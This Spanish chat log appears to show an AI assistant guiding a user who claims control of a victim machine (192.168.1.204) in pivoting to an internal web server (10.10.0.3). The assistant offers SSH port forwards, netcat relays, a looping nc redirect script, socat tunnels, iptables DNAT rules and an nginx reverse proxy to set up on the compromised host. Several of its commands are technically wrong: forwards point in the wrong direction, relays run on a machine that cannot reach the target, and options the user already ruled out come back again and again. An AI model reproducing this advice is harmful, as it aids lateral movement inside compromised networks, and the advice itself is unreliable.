Si quieres, podemos probar algunas de las opciones más arriba mencionadas, como el fuzzing manual, probar la inclusión de archivos o buscar otros parámetros en el



formulario. O si prefieres, podemos investigar otros aspectos de la máquina.



Tampoco funciona, ¿hay alguna manera de poder ver la web desde mi máquina de atacante?



¡Entendido! Si no has logrado obtener resultados mediante los métodos anteriores, y te gustaría ver la web en tu máquina de atacante o explorar más a fondo lo que está sucediendo en la máquina víctima, te ofrezco algunas maneras de obtener acceso a la web o inspeccionarla desde tu máquina.

## Opciones para ver la web desde tu máquina atacante:

### 1. Realizar un Proxy Reverso con `ssh` (Si tienes acceso como root)

Si ya tienes acceso root en la máquina víctima, puedes configurar un proxy reverso para redirigir el tráfico de la máquina víctima hacia tu máquina de atacante. Esto te permitirá ver la web en tu máquina como si estuvieras accediendo a ella localmente.

Para configurar un **túnel SSH** para redirigir el tráfico web, ejecuta lo siguiente en tu máquina atacante:

```
ssh -L 8080:localhost:80 root@10.10.0.3
```

- ``8080``: Es el puerto en tu máquina local al que podrás acceder para ver la web.
- ``localhost:80``: Es la dirección de la máquina víctima a la que se va a redirigir el tráfico (puerto 80 para HTTP).
- ``root@10.10.0.3``: Es la IP de la máquina víctima a la que tienes acceso como root (puedes usar otro usuario si no eres root).

Una vez ejecutado este comando, podrás acceder a la web desde tu navegador apuntando a ``http://localhost:8080``.





## 2. Ver el Servidor Web de la Víctima mediante un Proxy Web (Como `mitmproxy`)

Otra opción es usar un **proxy web** como `mitmproxy` o `burpsuite` para interceptar las peticiones entre tu máquina y la víctima. Estos proxies permiten realizar un análisis profundo de las respuestas HTTP.

Para usar **mitmproxy**:

1. Instala `mitmproxy` en tu máquina atacante (si no lo tienes ya instalado):

```
sudo apt install mitmproxy
```

2. Lanza `mitmproxy` en tu máquina atacante:

```
mitmproxy --listen-host 0.0.0.0 --listen-port 8080
```

Esto te permitirá ver todas las peticiones y respuestas HTTP en tiempo real en tu navegador.

3. En la máquina víctima, configura el proxy para que apunte a tu máquina atacante. Si ya tienes acceso root, puedes editar las variables de entorno del sistema para usar tu proxy:

```
export http_proxy=http://<tu_ip>:8080
export https_proxy=http://<tu_ip>:8080
```

4. Ahora, al realizar solicitudes desde la máquina víctima, el tráfico se enviará a tu máquina atacante a través de `mitmproxy`, lo que te permitirá ver y manipular las respuestas.

## 3. Usar `wget` para Descargar la Web

Si la máquina víctima tiene `wget` o `curl` instalado, puedes intentar descargar el código fuente de la página web directamente desde tu máquina de atacante:



```
wget http://10.10.0.3
```

Esto descargará el contenido HTML de la página principal de la web. Si no está funcionando, es posible que esté bloqueando solicitudes externas, pero aún así es una técnica que puede ser útil si consigues redirigir el tráfico hacia tu máquina.

#### 4. Revisar los Archivos Web en el Servidor (Acceso Directo a Archivos del Servidor)

Como tienes acceso como root, puedes revisar los archivos directamente en el servidor web para buscar archivos interesantes o sensibles.

Por ejemplo, en Apache, los archivos web suelen estar ubicados en `/var/www/` o `/usr/share/nginx/html/`. Puedes hacer un listado de los archivos y revisar su contenido:

```
ls -la /var/www/  
cat /var/www/html/index.html
```

A veces, los desarrolladores dejan archivos sensibles (como bases de datos de configuración, archivos `.env` o `.git`).

#### 5. Redirigir el Tráfico HTTP hacia un Proxy Local con `iptables`

Si quieres redirigir todo el tráfico web de la máquina víctima hacia tu máquina de atacante (por ejemplo, si la máquina víctima tiene acceso a internet pero no tienes herramientas de proxy configuradas), puedes usar `iptables` para redirigir el tráfico hacia tu máquina de atacante.

Esto solo funcionará si tienes acceso root en la máquina víctima:

```
iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination  
<tu_ip>:<puerto>
```

Esto redirige el tráfico HTTP (puerto 80) hacia tu máquina, permitiéndote ver el tráfico de las solicitudes web.



## ¿Te gustaría probar alguna de estas opciones?

Si alguna de estas técnicas te interesa, puedo guiarte paso a paso sobre cómo configurarlas.



No tengo acceso como root, tengo acceso como root a la 10.10.0.4, pero no a la 10.10.0.3, ¿cómo veo la web de la segunda IP desde mi máquina de atacante?



Gracias por la aclaración, si no tienes acceso como root a la máquina `10.10.0.3`, pero sí tienes acceso como root en la máquina `10.10.0.4`, una manera efectiva de acceder a la web de la IP `10.10.0.3` es a través de la máquina `10.10.0.4` haciendo uso de un **túnel SSH**. De esta manera, rediriges el tráfico HTTP hacia tu máquina atacante pasando por la máquina `10.10.0.4`.

## Aquí te muestro los pasos:

### 1. Crear un Túnel SSH desde tu máquina atacante a través de `10.10.0.4`

Si tienes acceso como root en la máquina `10.10.0.4`, puedes crear un túnel SSH que reenvíe el tráfico HTTP desde `10.10.0.3` a tu máquina atacante.

En tu máquina de atacante, ejecuta el siguiente comando:

```
ssh -L 8080:10.10.0.3:80 root@10.10.0.4
```

### Explicación:

- `8080`: Es el puerto en tu máquina atacante en el que podrás acceder a la web.
- `10.10.0.3:80`: Es la IP y el puerto del servidor web al que quieres acceder.





- ``root@10.10.0.4``: Es la máquina a la que tienes acceso como root y por la que redirigirás el tráfico.

Este comando crea un túnel SSH que redirige las conexiones en el puerto ``8080`` de tu máquina de atacante hacia la IP ``10.10.0.3`` en el puerto ``80``, es decir, el puerto HTTP.

## 2. Accede a la web a través de tu navegador

Una vez que el túnel SSH esté activo, abre tu navegador y accede a la URL:

```
http://localhost:8080
```

Esto te permitirá ver la web de la máquina ``10.10.0.3`` como si estuvieras accediendo directamente a ella desde tu máquina atacante.

## 3. Verificación

Si todo funciona correctamente, deberías ser capaz de ver la página web que está alojada en ``10.10.0.3`` a través de tu navegador.

## Resumen:

1. Establece un túnel SSH para redirigir el tráfico.
2. Accede a la web de ``10.10.0.3`` usando ``http://localhost:8080`` desde tu navegador.

Si tienes algún problema o alguna parte no funciona como esperas, por favor, házmelo saber y con gusto te ayudaré a solucionarlo.



Disculpa ha habido una confusión, he tomado el control de la máquina víctima a la que tengo acceso que tiene una IP 192.168.1.204, dentro de ella está la otra IP 10.10.0.4 desde la que puedo acceder a la 10.10.0.3,



¿cómo veo esta última desde mi máquina con IP 192.168.1.159?



¡Gracias por la aclaración! Ahora que tengo más claro el escenario, podemos proceder de la siguiente manera.

## Resumen de la situación:

- Tienes acceso a la máquina `192.168.1.204`` (máquina víctima).
- Desde la máquina `192.168.1.204``, puedes acceder a la máquina `10.10.0.4``, y desde allí, puedes acceder a la máquina `10.10.0.3``.
- Tu objetivo es ver la web alojada en `10.10.0.3``, pero desde tu máquina atacante `192.168.1.159``.

Dado que tienes acceso a `192.168.1.204`` y desde ahí puedes acceder a la máquina `10.10.0.4``, podemos configurar un **túnel SSH** para redirigir el tráfico de la máquina `10.10.0.3`` hacia tu máquina atacante, pasando a través de `192.168.1.204``.

## Solución: Túnel SSH con redirección de puertos

### 1. Crear un túnel SSH desde la máquina víctima `192.168.1.204`` hacia tu máquina atacante

En este paso, lo que haremos es redirigir el tráfico HTTP (puerto 80) desde la máquina `10.10.0.3`` hacia tu máquina atacante (`192.168.1.159``) pasando por la máquina `192.168.1.204``.

1. Inicia una sesión SSH en la máquina víctima (`192.168.1.204``).
2. Desde allí, ejecuta el siguiente comando para establecer el túnel SSH:

```
ssh -L 8080:10.10.0.3:80 192.168.1.159
```

### Explicación del comando:



- ``8080``: Es el puerto en tu máquina atacante ``192.168.1.159`` donde se redirigirá el tráfico (puedes elegir cualquier puerto libre).
- ``10.10.0.3:80``: Es la IP y el puerto de la máquina de destino a la que deseas acceder (la máquina que aloja la web).
- ``192.168.1.159``: Es la IP de tu máquina atacante, a la que se va a redirigir el tráfico.

## 2. Acceder a la web desde tu máquina atacante

Una vez que el túnel SSH esté establecido, podrás acceder a la web alojada en ``10.10.0.3`` a través de tu navegador, simplemente apuntando a:

```
http://localhost:8080
```

Esto redirigirá las solicitudes HTTP hacia ``10.10.0.3`` a través del túnel SSH que creamos con la máquina ``192.168.1.204``.

## Alternativa: Usar ``nc`` (Netcat) para Crear un Túnel TCP

Si no puedes o no deseas usar SSH por alguna razón, puedes usar ``nc`` (Netcat) para crear un túnel TCP y redirigir el tráfico hacia tu máquina. Aquí tienes un ejemplo de cómo hacerlo:

1. En la máquina víctima (``192.168.1.204``), ejecuta el siguiente comando para redirigir el tráfico hacia la máquina atacante:

```
nc -l -p 8080 -c "nc 10.10.0.3 80"
```

2. En tu máquina atacante (``192.168.1.159``), puedes usar ``nc`` para conectar al puerto ``8080`` de la máquina víctima y ver el tráfico:

```
nc 192.168.1.204 8080
```





Aunque esta técnica es menos flexible que usar un túnel SSH (y no ofrece la misma seguridad), también podría ser útil para redirigir el tráfico de red.

## Conclusión:

- Lo ideal sería usar un **túnel SSH** entre ``192.168.1.204`` (la máquina víctima) y tu máquina atacante (``192.168.1.159``) para redirigir el tráfico web de ``10.10.0.3`` hacia tu máquina.
- De esta manera, podrás ver la web de ``10.10.0.3`` desde tu máquina de atacante apuntando a ``http://localhost:8080``.

¡Avísame si te surgen dudas o si alguna parte no funciona como esperas!



```
No dispongo de ssh en la máquina víctima y en netcat
me sale esto: nc -l -p 8080 -c "nc 10.10.0.3 80"
nc: invalid option -- 'c'
This is nc from the netcat-openbsd package. An
alternative nc is available
in the netcat-traditional package.
usage: nc [-46DdhklNrStUuvzC] [-i interval] [-P
proxy_username] [-p source_port]
        [-s source_ip_address] [-T ToS] [-w timeout] [-X
proxy_protocol]
        [-x proxy_address[:port]] [hostname] [port[s]]
```



Entiendo, dado que no tienes acceso SSH en la máquina víctima y el comando ``nc -c`` no funciona debido a la versión de ``nc`` en tu máquina víctima, vamos a hacer un ajuste en la estrategia.

## Solución Alternativa sin SSH ni el comando ``-c`` en ``nc``:





Dado que `nc` en tu máquina víctima no tiene la opción `-c`, una alternativa es crear un túnel usando `socat` (si está disponible), o usar un enfoque con `nc` tradicional, pero con redirección manual. Aquí te doy ambas opciones.

## Opción 1: Usar `socat` para crear el túnel

Si tienes la posibilidad de instalar o utilizar `socat` en la máquina víctima, este comando puede ser útil. `socat` es similar a `nc`, pero ofrece más flexibilidad:

1. Instala `socat` si es posible. En la máquina víctima, ejecuta:

```
sudo apt-get install socat # Para sistemas basados en Debian/Ubuntu
```

2. Usa `socat` para crear el túnel entre la máquina víctima y tu máquina atacante:

```
socat TCP-LISTEN:8080,fork TCP:10.10.0.3:80
```

### Explicación:

- `TCP-LISTEN:8080`: Escucha en el puerto 8080 de la máquina víctima.
- `fork`: Permite que se manejen múltiples conexiones.
- `TCP:10.10.0.3:80`: Redirige el tráfico hacia `10.10.0.3` en el puerto 80 (la web).

Ahora, en tu máquina atacante, puedes acceder a la web desde

`http://localhost:8080`.

## Opción 2: Usar `nc` en la máquina atacante para acceder al túnel

Si no tienes `socat` disponible, aún puedes usar `nc` para conectar a la máquina víctima y redirigir el tráfico. En lugar de usar `-c`, se puede crear el túnel de manera manual. Aquí está el flujo:



1. **En la máquina víctima** (`192.168.1.204`), ejecuta:

```
nc -l -p 8080 -k
```

Este comando escuchará en el puerto 8080 de la máquina víctima.

2. **En la máquina atacante** (`192.168.1.159`), abre otro terminal y ejecuta lo siguiente para redirigir el tráfico a `10.10.0.3`:

```
nc 192.168.1.204 8080 | nc 10.10.0.3 80
```

Esto se conecta al puerto 8080 de la máquina víctima y luego redirige el tráfico hacia la máquina `10.10.0.3` en el puerto 80.

### Opción 3: Redirigir con un script de redirección simple usando `nc`

Si ninguna de las opciones anteriores funciona o si prefieres un enfoque más sencillo, puedes crear un script en la máquina víctima para redirigir las conexiones hacia la máquina `10.10.0.3`. Aquí tienes un ejemplo simple de cómo hacerlo:

1. **En la máquina víctima**, crea un script como `redirige.sh`:

```
#!/bin/bash
while true; do
    nc -l -p 8080 -q 1 | nc 10.10.0.3 80
done
```

2. **Haz que el script sea ejecutable:**

```
chmod +x redirige.sh
```

3. **Ejecuta el script:**



```
./redirige.sh
```

Esto abrirá un túnel y redirigirá las solicitudes entrantes en el puerto 8080 de la máquina víctima hacia `10.10.0.3` en el puerto 80.

4. **En tu máquina atacante**, abre el navegador y accede a `http://localhost:8080`.

## Resumen

1. Si tienes `socat`, úsalo para crear un túnel entre la máquina víctima y tu máquina atacante.
2. Si solo puedes usar `nc`, ejecuta los comandos de redirección mencionados en las opciones anteriores.
3. La forma más sencilla en caso de que no puedas usar `socat` o si prefieres un enfoque más "manual" es ejecutar un script que redirija las conexiones.

¡Avísame si necesitas más ayuda con alguna de las opciones!



No me deja instalar socat y si intento hacer lo de netcat me sale lo siguiente: nc -l -p 8080 -k  
This is nc from the netcat-openbsd package. An alternative nc is available in the netcat-traditional package.  
usage: nc [-46DdhklNrStUuvzC] [-i interval] [-P proxy\_username] [-p source\_port] [-s source\_ip\_address] [-T ToS] [-w timeout] [-X proxy\_protocol] [-x proxy\_address[:port]] [hostname] [port[s]]  
sudo apt-get install socat





Parece que la versión de `nc` en la máquina víctima es de tipo `netcat-openbsd` y no tiene la opción `-k` disponible, lo que está causando el error.

Dado que `socat` no se puede instalar y el comando `nc -k` no funciona, te sugiero intentar una solución utilizando `nc` **en la máquina atacante** y realizando una redirección de tráfico utilizando la versión correcta de `nc` en la máquina víctima.

## Solución utilizando `nc` (sin `-k` en la víctima)

1. **En la máquina víctima (`192.168.1.204`)**, usa el siguiente comando para escuchar en el puerto 8080:

```
nc -l -p 8080
```

Este comando abrirá el puerto 8080 para escuchar, pero sin la opción `-k`.

2. **En la máquina atacante (`192.168.1.159`)**, abre otro terminal y redirige el tráfico de la siguiente manera:

```
nc 192.168.1.204 8080 | nc 10.10.0.3 80
```

Esto conecta tu máquina atacante a la máquina víctima en el puerto 8080, y el tráfico que llega a este puerto es redirigido hacia la máquina `10.10.0.3` en el puerto 80 (el puerto HTTP).

Ahora, cuando accedas a `http://localhost:8080` en tu máquina atacante, deberías estar viendo el contenido de la web en `10.10.0.3`.

## Otra posible opción: Utilizar `iptables` (si es posible)

Si tienes acceso a la configuración de la red o las reglas de firewall en la máquina víctima, podrías usar `iptables` para redirigir el tráfico directamente, pero esto depende de si puedes modificar esas configuraciones. Si no, la solución anterior debería funcionar para redirigir el tráfico.





Si sigues teniendo problemas o si el comportamiento no es el esperado, no dudes en avisarme y seguiré ayudándote a encontrar una solución.



```
Esta es la salida: nc -l -p 8080
This is nc from the netcat-openbsd package. An
alternative nc is available
in the netcat-traditional package.
usage: nc [-46DdhklNrStUuvzC] [-i interval] [-P
proxy_username] [-p source_port]
[-s source_ip_address] [-T ToS] [-w timeout] [-X
proxy_protocol]
[-x proxy_address[:port]] [hostname] [port[s]]
```



Parece que la versión de `nc` en la máquina víctima es limitada y no permite la opción `-l -p` como esperábamos. Dado esto, podemos intentar con otro enfoque usando la versión de `nc` que está disponible en la máquina atacante (suponiendo que el `nc` de tu máquina atacante sea más flexible).

## Usar `nc` en la máquina atacante para crear un "túnel" con redirección

### Paso 1: Escuchar en el puerto 8080 en la máquina víctima

Si el `nc` en la máquina víctima no funciona con `-l` y `-p`, entonces, la única manera de proceder es usar la máquina atacante para que funcione como un "puente" para redirigir las conexiones.

### Paso 2: Usar `nc` en la máquina atacante





En tu máquina atacante, ejecuta el siguiente comando para establecer una conexión entre tu máquina y la máquina víctima, redirigiendo el tráfico hacia `10.10.0.3`.

```
nc -lvp 8080 -c "nc 10.10.0.3 80"
```

### Explicación:

- `-lvp 8080`: Escucha en el puerto 8080 en tu máquina atacante (máquina con IP `192.168.1.159`).
- `-c "nc 10.10.0.3 80"`: Redirige las conexiones al puerto 80 de la máquina `10.10.0.3` (el servidor web que quieres ver).

## Paso 3: En tu máquina atacante

Abre un navegador y ve a `http://localhost:8080`. Si todo está bien configurado, deberías poder ver la web de la máquina `10.10.0.3` a través del puerto 8080 de tu máquina atacante.

### Alternativa sin `-c` en `nc`

Si el comando anterior no funciona (por ejemplo, si tu `nc` no soporta `-c`), entonces lo siguiente que puedes hacer es redirigir el tráfico de manera manual.

1. **En la máquina atacante**, ejecuta el siguiente comando:

```
nc -lvp 8080 | nc 10.10.0.3 80
```

Este comando abrirá un puerto en la máquina atacante y redirigirá el tráfico hacia `10.10.0.3:80`. Luego podrás ver la web en `http://localhost:8080`.

## Conclusión

El objetivo es establecer una conexión en la máquina atacante que escuche en un puerto y redirija las solicitudes a `10.10.0.3`. Esto te permitirá ver la página web que



está siendo servida en la máquina `10.10.0.3` desde tu máquina atacante, utilizando los comandos de `nc`.

Si aún tienes problemas o no funciona como se espera, no dudes en avisarme para que pueda ayudarte más.



Sigue sin funcionar, ¿alguna alternativa?



Lo siento por la confusión, parece que la versión de `nc` en la máquina víctima está bastante limitada y no tenemos mucho control sobre ella. Afortunadamente, aún existen alternativas que podemos intentar.

## Opción 1: Usar socat (si está disponible en tu máquina atacante)

Si puedes usar `socat` en tu máquina atacante (no en la víctima), puede ser una solución más flexible. `socat` permite crear un túnel de red entre dos puntos de una manera más sencilla que `nc`.

1. **Instala `socat` en tu máquina atacante** (si no está instalado):

```
sudo apt install socat
```

2. **Crea un túnel usando `socat`** en la máquina atacante. Ejecuta este comando en tu máquina atacante:

```
socat TCP-LISTEN:8080,fork TCP:10.10.0.3:80
```

**Explicación:**







- `TCP-LISTEN:8080, fork``: Hace que tu máquina atacante escuche en el puerto 8080.
- `TCP:10.10.0.3:80``: Redirige todo el tráfico hacia el puerto 80 de la máquina `10.10.0.3``.

3. **Accede a la página web** en tu máquina atacante a través de `http://localhost:8080``. Deberías ver la página web servida por `10.10.0.3``.

---

## Opción 2: Usar SSH Port Forwarding (si tienes acceso SSH en algún punto)

Si tienes acceso SSH a la máquina `10.10.0.4``, puedes utilizar el port forwarding (reenvío de puertos) para acceder a la máquina `10.10.0.3`` a través de la red.

1. **Establecer un reenvío de puertos SSH** desde tu máquina atacante hacia `10.10.0.3`` a través de `10.10.0.4`` (que es una máquina que tienes acceso).

En la máquina atacante, ejecuta:

```
ssh -L 8080:10.10.0.3:80 usuario@10.10.0.4
```

### Explicación:

- `-L 8080:10.10.0.3:80``: Establece un reenvío de puertos, de modo que cualquier solicitud a `localhost:8080`` en tu máquina atacante será redirigida a `10.10.0.3:80``.
- `usuario@10.10.0.4``: El usuario con el que te autenticas en `10.10.0.4``.

2. **Accede a la web** en tu máquina atacante con `http://localhost:8080``.

Este método redirige el tráfico de tu máquina atacante a través de la máquina `10.10.0.4``, lo que te permite acceder a `10.10.0.3`` sin necesidad de tener acceso directo.



## Opción 3: Usar Proxy inverso (si puedes instalar un servidor web)

Si tienes acceso a instalar software en la máquina víctima, puedes instalar un servidor web ligero como **nginx** o **Apache** y configurarlo para redirigir el tráfico hacia `10.10.0.3`. Este método requeriría instalar un servidor web en la máquina víctima, pero si tienes privilegios de root en ella, es posible.

1. **Instalar nginx** en la máquina víctima:

```
sudo apt-get install nginx
```

2. **Configurar nginx** para redirigir el tráfico hacia `10.10.0.3`. Edita el archivo de configuración de nginx (`/etc/nginx/sites-available/default` o similar) y agrega una configuración de proxy:

```
server {  
    listen 80;  
    server_name localhost;  
  
    location / {  
        proxy_pass http://10.10.0.3;  
        proxy_set_header Host $host;  
        proxy_set_header X-Real-IP $remote_addr;  
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;  
    }  
}
```

3. **Reiniciar nginx** para aplicar los cambios:

```
sudo systemctl restart nginx
```



4. Ahora deberías poder acceder a `http://192.168.1.204` desde tu máquina atacante y ver el contenido de `10.10.0.3`.

---

## Opción 4: Usar iptables para redirigir el tráfico

Si tienes acceso a las configuraciones de firewall de la máquina víctima (a través de `iptables`), puedes redirigir el tráfico hacia `10.10.0.3`.

1. En la máquina víctima, ejecuta el siguiente comando para redirigir el tráfico de la máquina víctima hacia `10.10.0.3`:

```
sudo iptables -t nat -A PREROUTING -p tcp --dport 8080 -j DNAT --to-destination 10.10.0.3:80
sudo iptables -A FORWARD -p tcp -d 10.10.0.3 --dport 80 -j ACCEPT
```

2. Ahora, cuando vayas a `http://192.168.1.204:8080` desde tu máquina atacante, debería redirigir el tráfico hacia la máquina `10.10.0.3` y podrás ver la página web.

---

Estas son algunas de las alternativas que puedes probar para ver la página web en la máquina `10.10.0.3` desde tu máquina atacante. Si alguna de estas soluciones funciona o si tienes alguna pregunta sobre cómo configurarlas, estaré aquí para ayudarte.